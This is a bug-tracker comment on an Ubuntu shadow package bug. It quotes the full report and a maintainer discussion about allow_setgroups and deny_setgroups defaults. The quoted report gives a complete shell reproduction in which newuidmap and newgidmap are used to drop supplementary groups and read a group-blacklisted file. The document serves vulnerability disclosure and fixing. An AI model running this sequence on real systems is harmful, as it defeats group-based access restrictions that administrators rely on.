Comment 13 for bug 1729357

This sounds acceptable to me. Issues or (even better) PRs against
github.com/shadow-maint/shadow would be great :)

Indeed the default should be the more permissible. (I won't accept
patches which require changes to the container runtime.)

On Mon, Jan 15, 2018 at 9:13 AM, Akihiro Suda <email address hidden> wrote:
>> And we define flags "allow_setgroups" and "deny_setgrouops" (with
> "deny_setgroups" being the default).
>
>
> I think allow_setgropus should be the default for keeping compatibility.
>
> However, useradd(8) may print warning for the default configuration.
>
> --
> You received this bug notification because you are subscribed to the bug
> report.
> https://bugs.launchpad.net/bugs/1729357
>
> Title:
> unprivileged user can drop supplementary groups
>
> Status in shadow package in Ubuntu:
> Confirmed
>
> Bug description:
> Distribution: Ubuntu 16.04.3 LTS
> Kernel: 4.4.0-97-generic
> uidmap package version: 1:4.2-3.1ubuntu5.3
>
> The newgidmap setuid executable allows any user to write a single
> mapping line to the gid_map of a process whose identity is the same as
> the calling process, as long as that mapping line maps the process's
> own GID outside of the user namespace to GID 0 inside the user
> namespace.
>
> Newgidmap will write the mapping regardless of the content of
> /proc/$process_being_mapped/setgroups, which will initially contain
> the string "allow". After this mapping is performed, and also after
> the process' uid_map is written with newuidmap, the process in the
> user namespace will be able to use the setgroups system call to drop
> supplementary groups.
>
> This is possible even if there is no entry for the user in
> /etc/subgid, because no subordinate GIDs are actually being used.
>
> This allows any user to circumvent the use of supplementary groups as
> blacklists, e.g. for some file owned by root:blacklist with permission
> bits 0604 (octal). Normally any process whose identity included the
> group "blacklist" in its supplementary groups would not be able to
> read that file. By performing this exploit using newgidmap, they can
> drop all supplementary groups and read that file.
>
> If newgidmap was not available, unprivileged users would not be able
> to write a process's gid_map until writing "deny" to
> /proc/$pid/setgroups. A fix for this might be for newgidmap to check
> the content of /proc/$process_being_mapped/setgroups is "deny", but we
> have not tried to patch this ourselves.
>
> An example using 2 login shells for a user named "someone" on Ubuntu
> Xenial, with the uidmap package installed:
>
> Shell 1
>
> someone@ubuntu-xenial:~$ id
> uid=1001(someone) gid=1001(someone) groups=1001(someone),1002(restricted)
>
> someone@ubuntu-xenial:~$ ls -al /tmp/should_restrict
> -rw----r-- 1 root restricted 8 Nov 1 12:23 /tmp/should_restrict
>
> someone@ubuntu-xenial:~$ cat /tmp/should_restrict
> cat: /tmp/should_restrict: Permission denied
>
> someone@ubuntu-xenial:~$ unshare -U --setgroups allow #
> /proc/self/setgroups already contains 'allow', but let's be explicit
>
> nobody@ubuntu-xenial:~$ echo $$
> 1878
>
> Shell 2
>
> someone@ubuntu-xenial:~$ cat /etc/subuid
> lxd:100000:65536
> root:100000:65536
> ubuntu:165536:65536
>
> someone@ubuntu-xenial:~$ cat /etc/subgid
> lxd:100000:65536
> root:100000:65536
> ubuntu:165536:65536
>
> # There are no entries in /etc/sub{u,g}id for someone, but this
> doesn't matter that much as subordinate IDs are not being requested.
>
> someone@ubuntu-xenial:~$ newuidmap 1878 0 1001 1
>
> someone@ubuntu-xenial:~$ newgidmap 1878 0 1001 1
>
> Back to shell 1
>
> nobody@ubuntu-xenial:~$ id
> uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
>
> # The presence of the "nogroup" supplementary group indicates that
> some unmapped GIDs are present as supplementary GIDs. The kernel knows
> that this process still has "restricted" in its supplementary groups,
> so it can't read the restricted file yet.
>
> nobody@ubuntu-xenial:~$ cat /tmp/should_restrict
> cat: /tmp/should_restrict: Permission denied
>
> # The process has gained CAP_SETGID in its user namespace by becoming
> UID 0. /proc/$pid/setgroups contains "allow", so it can call
> setgroups(2). By su-ing to root (itself, in the user namespace), it
> can drop the supplementary groups. It can't read /root/.bashrc as that
> file is owned by UID 0 in the initial user namespace, which creates
> some distracting error output but doesn't matter in this case.
>
> nobody@ubuntu-xenial:~$ su root
> su: Authentication failure
> (Ignored)
> bash: /root/.bashrc: Permission denied
>
> # Supplementary groups have been dropped
>
> root@ubuntu-xenial:~# id
> uid=0(root) gid=0(root) groups=0(root)
>
> # It can read the restricted file
>
> root@ubuntu-xenial:~# cat /tmp/should_restrict
> content
>
> To manage notifications about this bug go to:
> https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1729357/+subscriptions